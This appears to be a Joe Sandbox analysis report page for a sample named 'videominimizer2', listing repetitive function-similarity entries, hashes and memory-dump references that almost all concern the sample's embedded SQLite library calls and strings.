                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_logsqlite3_mutex_leave
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1465156292-0
                                                                                                                                                                                                                                      • Opcode ID: 20ce1548f611e36a3668a48b9975394e1a388ab84833d9cb320a678b216caf11
                                                                                                                                                                                                                                      • Instruction ID: bc2fa39936d9f4ed0ba1ebf98b65e017ff83ed2bbf5e058a49948814e7f33c49
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 20ce1548f611e36a3668a48b9975394e1a388ab84833d9cb320a678b216caf11
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 59E0EC74A042089BCB04DF6AD4C194AB7F9EF58258B14D665EC458B309E231E9858BC1
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3 ref: 60925704
                                                                                                                                                                                                                                        • Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_bind_int64sqlite3_mutex_leave
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3064317574-0
                                                                                                                                                                                                                                      • Opcode ID: 8bfbb127be37b3944cf6aee767a60d103abce584902525ba566a621f413e0d82
                                                                                                                                                                                                                                      • Instruction ID: 7a9bf9350bb0d435b7485bd9c083abc2dab3a9c90cc7cce47300d03dda88f0d0
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8bfbb127be37b3944cf6aee767a60d103abce584902525ba566a621f413e0d82
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FFD092B4909309AFCB00EF29C48644EBBE5AF98258F40C82DFC98C7314E274E8408F92
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: 5c5aa561fe8b7943dde2a358ba30c2c8876ef78bddd50c77f68009583e67d90a
                                                                                                                                                                                                                                      • Instruction ID: 29002ccca7877ead4b7e7e784383ace88c03f26ddf616943a2b43c0eb71ea2e3
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5c5aa561fe8b7943dde2a358ba30c2c8876ef78bddd50c77f68009583e67d90a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 36E0E2B850430DABDF00CF09D8C188A7BAAFB08364F10C119FC190B305C371E9548BA1
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: c82c79c3d673ce5d83164ffe7b594e49b00bd73c00824d0aa5044480003c1f0d
                                                                                                                                                                                                                                      • Instruction ID: a276b763828cd9d21177d39229c24ef0f5c00ef14d0f26540801fec71d9d5410
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c82c79c3d673ce5d83164ffe7b594e49b00bd73c00824d0aa5044480003c1f0d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 29E0E2B850430DABDF00CF09D8C198A7BAAFB08264F10C119FC190B304C331E9148BE1
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: d3c407e99ff1326d716251d27052f3514f6d3ace0f30ccd24b81610f61b1d9b8
                                                                                                                                                                                                                                      • Instruction ID: aa639d4c52eda77921d109c173628d401b16d57fa3137d2b917a91732d8775c8
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d3c407e99ff1326d716251d27052f3514f6d3ace0f30ccd24b81610f61b1d9b8
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D7C01265704208574B00E92DE8C154577AA9718164B108039E80B87301D975ED084291
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_initialize.SQLITE3 ref: 6096C5BE
                                                                                                                                                                                                                                        • Part of subcall function 60912453: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 609124D1
                                                                                                                                                                                                                                      • sqlite3_log.SQLITE3 ref: 6096C5FC
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6096C67E
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6096CD71
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 6096CD80
                                                                                                                                                                                                                                      • sqlite3_errcode.SQLITE3 ref: 6096CD88
                                                                                                                                                                                                                                      • sqlite3_close.SQLITE3 ref: 6096CD97
                                                                                                                                                                                                                                      • sqlite3_create_function.SQLITE3 ref: 6096CDF8
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_free$sqlite3_closesqlite3_create_functionsqlite3_errcodesqlite3_initializesqlite3_logsqlite3_mutex_entersqlite3_mutex_leave
                                                                                                                                                                                                                                      • String ID: BINARY$NOCASE$RTRIM$porter$rtree$rtree_i32$simple
                                                                                                                                                                                                                                      • API String ID: 1320758876-2501389569
                                                                                                                                                                                                                                      • Opcode ID: 6bfcb0ec024900a9d9b4e92c8a495cd7f0e11888819caa106d9e2d842adf35f2
                                                                                                                                                                                                                                      • Instruction ID: 66f98c4e8467cc0752991b2fada45a5d6d89a43a55ba94f1559c09c68fc79e30
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6bfcb0ec024900a9d9b4e92c8a495cd7f0e11888819caa106d9e2d842adf35f2
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7A024BB05183019BEB119F64C49536ABFF6BFA1348F11882DE8959F386D7B9C845CF82
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 609264C9
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60926526
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6092652E
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60926550
                                                                                                                                                                                                                                        • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                                                                                                                                                                        • Part of subcall function 6090AFF5: sqlite3_free.SQLITE3 ref: 6090B09A
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60926626
                                                                                                                                                                                                                                      • sqlite3_win32_mbcs_to_utf8.SQLITE3 ref: 6092662E
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60926638
                                                                                                                                                                                                                                      • sqlite3_snprintf.SQLITE3 ref: 6092666B
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60926673
                                                                                                                                                                                                                                      • sqlite3_snprintf.SQLITE3 ref: 609266B8
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_free$sqlite3_snprintf$sqlite3_mutex_entersqlite3_win32_mbcs_to_utf8
                                                                                                                                                                                                                                      • String ID: \$winFullPathname1$winFullPathname2$winFullPathname3$winFullPathname4
                                                                                                                                                                                                                                      • API String ID: 937752868-2111127023
                                                                                                                                                                                                                                      • Opcode ID: 76700054f020c8d7fe753577c30eef17e659d67ca67044e42639e839992701d7
                                                                                                                                                                                                                                      • Instruction ID: 28f04709130b2e8b140c84fcd32bad5e17fba194e1ccee1aab8ced89c5ccf9cf
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 76700054f020c8d7fe753577c30eef17e659d67ca67044e42639e839992701d7
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EA712E706183058FE700AF69D88465DBFF6AFA5748F00C82DE8999B314E778C845DF92
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: memcmp$sqlite3_mprintf$sqlite3_malloc$sqlite3_freesqlite3_vfs_find
                                                                                                                                                                                                                                      • String ID: @$access$cache
                                                                                                                                                                                                                                      • API String ID: 4158134138-1361544076
                                                                                                                                                                                                                                      • Opcode ID: 19065094f7a61ae5fa0f118773a69bd69932ab9bc71fb499c0e2e31449818374
                                                                                                                                                                                                                                      • Instruction ID: 35071b2ec389daa84eb338d99e29a1052eb2425681bc363379ff67fe3f9a0dd7
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 19065094f7a61ae5fa0f118773a69bd69932ab9bc71fb499c0e2e31449818374
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 27D19E75D183458BDB11CF69E58039EBBF7AFAA304F20846ED4949B349D339D882CB52
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • BEGIN;, xrefs: 609485DB
                                                                                                                                                                                                                                      • SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %', xrefs: 60948708
                                                                                                                                                                                                                                      • SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence' , xrefs: 60948748
                                                                                                                                                                                                                                      • SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';, xrefs: 60948768
                                                                                                                                                                                                                                      • PRAGMA vacuum_db.synchronous=OFF, xrefs: 609485BB
                                                                                                                                                                                                                                      • SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0, xrefs: 609486C8
                                                                                                                                                                                                                                      • SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0, xrefs: 60948728
                                                                                                                                                                                                                                      • ATTACH ':memory:' AS vacuum_db;, xrefs: 60948534
                                                                                                                                                                                                                                      • SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %' , xrefs: 609486E8
                                                                                                                                                                                                                                      • ATTACH '' AS vacuum_db;, xrefs: 60948529
                                                                                                                                                                                                                                      • INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0), xrefs: 60948788
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_log
                                                                                                                                                                                                                                      • String ID: ATTACH '' AS vacuum_db;$ATTACH ':memory:' AS vacuum_db;$BEGIN;$INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)$PRAGMA vacuum_db.synchronous=OFF$SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %' $SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0$SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'$SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence' $SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';$SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
                                                                                                                                                                                                                                      • API String ID: 632333372-52344843
                                                                                                                                                                                                                                      • Opcode ID: d52540ff3cd5a889f8fcb2175177c5c293f6bf3e96b3409faf11301466b535e5
                                                                                                                                                                                                                                      • Instruction ID: 17dae18cb22bd420f764556e48f7e631e7f528851c991f2db59136dec61311d4
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d52540ff3cd5a889f8fcb2175177c5c293f6bf3e96b3409faf11301466b535e5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1202F6B0A046299BDB2ACF18C88179EB7FABF65304F1081D9E858AB355D771DE81CF41
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 609296D1: sqlite3_value_bytes.SQLITE3 ref: 609296F3
                                                                                                                                                                                                                                        • Part of subcall function 609296D1: sqlite3_mprintf.SQLITE3 ref: 60929708
                                                                                                                                                                                                                                        • Part of subcall function 609296D1: sqlite3_free.SQLITE3 ref: 6092971B
                                                                                                                                                                                                                                        • Part of subcall function 6095FFB2: sqlite3_bind_int64.SQLITE3 ref: 6095FFFA
                                                                                                                                                                                                                                        • Part of subcall function 6095FFB2: sqlite3_step.SQLITE3 ref: 60960009
                                                                                                                                                                                                                                        • Part of subcall function 6095FFB2: sqlite3_reset.SQLITE3 ref: 60960019
                                                                                                                                                                                                                                        • Part of subcall function 6095FFB2: sqlite3_result_error_code.SQLITE3 ref: 60960043
                                                                                                                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 60960384
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 609605EA
                                                                                                                                                                                                                                      • sqlite3_result_error_code.SQLITE3 ref: 6096060D
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60960618
                                                                                                                                                                                                                                      • sqlite3_result_text.SQLITE3 ref: 6096063C
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_free$sqlite3_result_error_code$sqlite3_bind_int64sqlite3_mallocsqlite3_mprintfsqlite3_resetsqlite3_result_textsqlite3_stepsqlite3_value_bytes
                                                                                                                                                                                                                                      • String ID: offsets
                                                                                                                                                                                                                                      • API String ID: 463808202-2642679573
                                                                                                                                                                                                                                      • Opcode ID: 496dcd0dbd0e24e84f3ae9a4f9495b5d667a7098f4014ef95464c797b1727b83
                                                                                                                                                                                                                                      • Instruction ID: 1101d6838161b799219a4b3d5732631e197d31251dd2d8b91c34f261bd2faa79
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 496dcd0dbd0e24e84f3ae9a4f9495b5d667a7098f4014ef95464c797b1727b83
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 72C1D374A183198FDB14CF59C580B8EBBF2BFA8314F2085A9E849AB354D734D985CF52
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 6091A3C1
                                                                                                                                                                                                                                      • sqlite3_value_bytes.SQLITE3 ref: 6091A3D6
                                                                                                                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 6091A3E4
                                                                                                                                                                                                                                      • sqlite3_value_bytes.SQLITE3 ref: 6091A416
                                                                                                                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 6091A424
                                                                                                                                                                                                                                      • sqlite3_value_bytes.SQLITE3 ref: 6091A43A
                                                                                                                                                                                                                                      • sqlite3_result_text.SQLITE3 ref: 6091A5A2
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_value_bytessqlite3_value_text$sqlite3_result_text
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2903785150-0
                                                                                                                                                                                                                                      • Opcode ID: 408a6008a3f19a662094ad197d730d6af4ceeedc2d56196c0f88669f9a2ea12f
                                                                                                                                                                                                                                      • Instruction ID: 050d84d3da0bd462ad4a4a15df4a38950001fc66f1de33c81d7c2c3a6f7146e7
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 408a6008a3f19a662094ad197d730d6af4ceeedc2d56196c0f88669f9a2ea12f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8971D074E086599FCF00DFA8C88069DBBF2BF59314F1485AAE855AB304E734EC85CB91
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_freesqlite3_malloc
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 423083942-0
                                                                                                                                                                                                                                      • Opcode ID: 039a1925b88827ab71129b12bf0a0cfd7bb9a75e2f5fb5313a60c0869b9e4a18
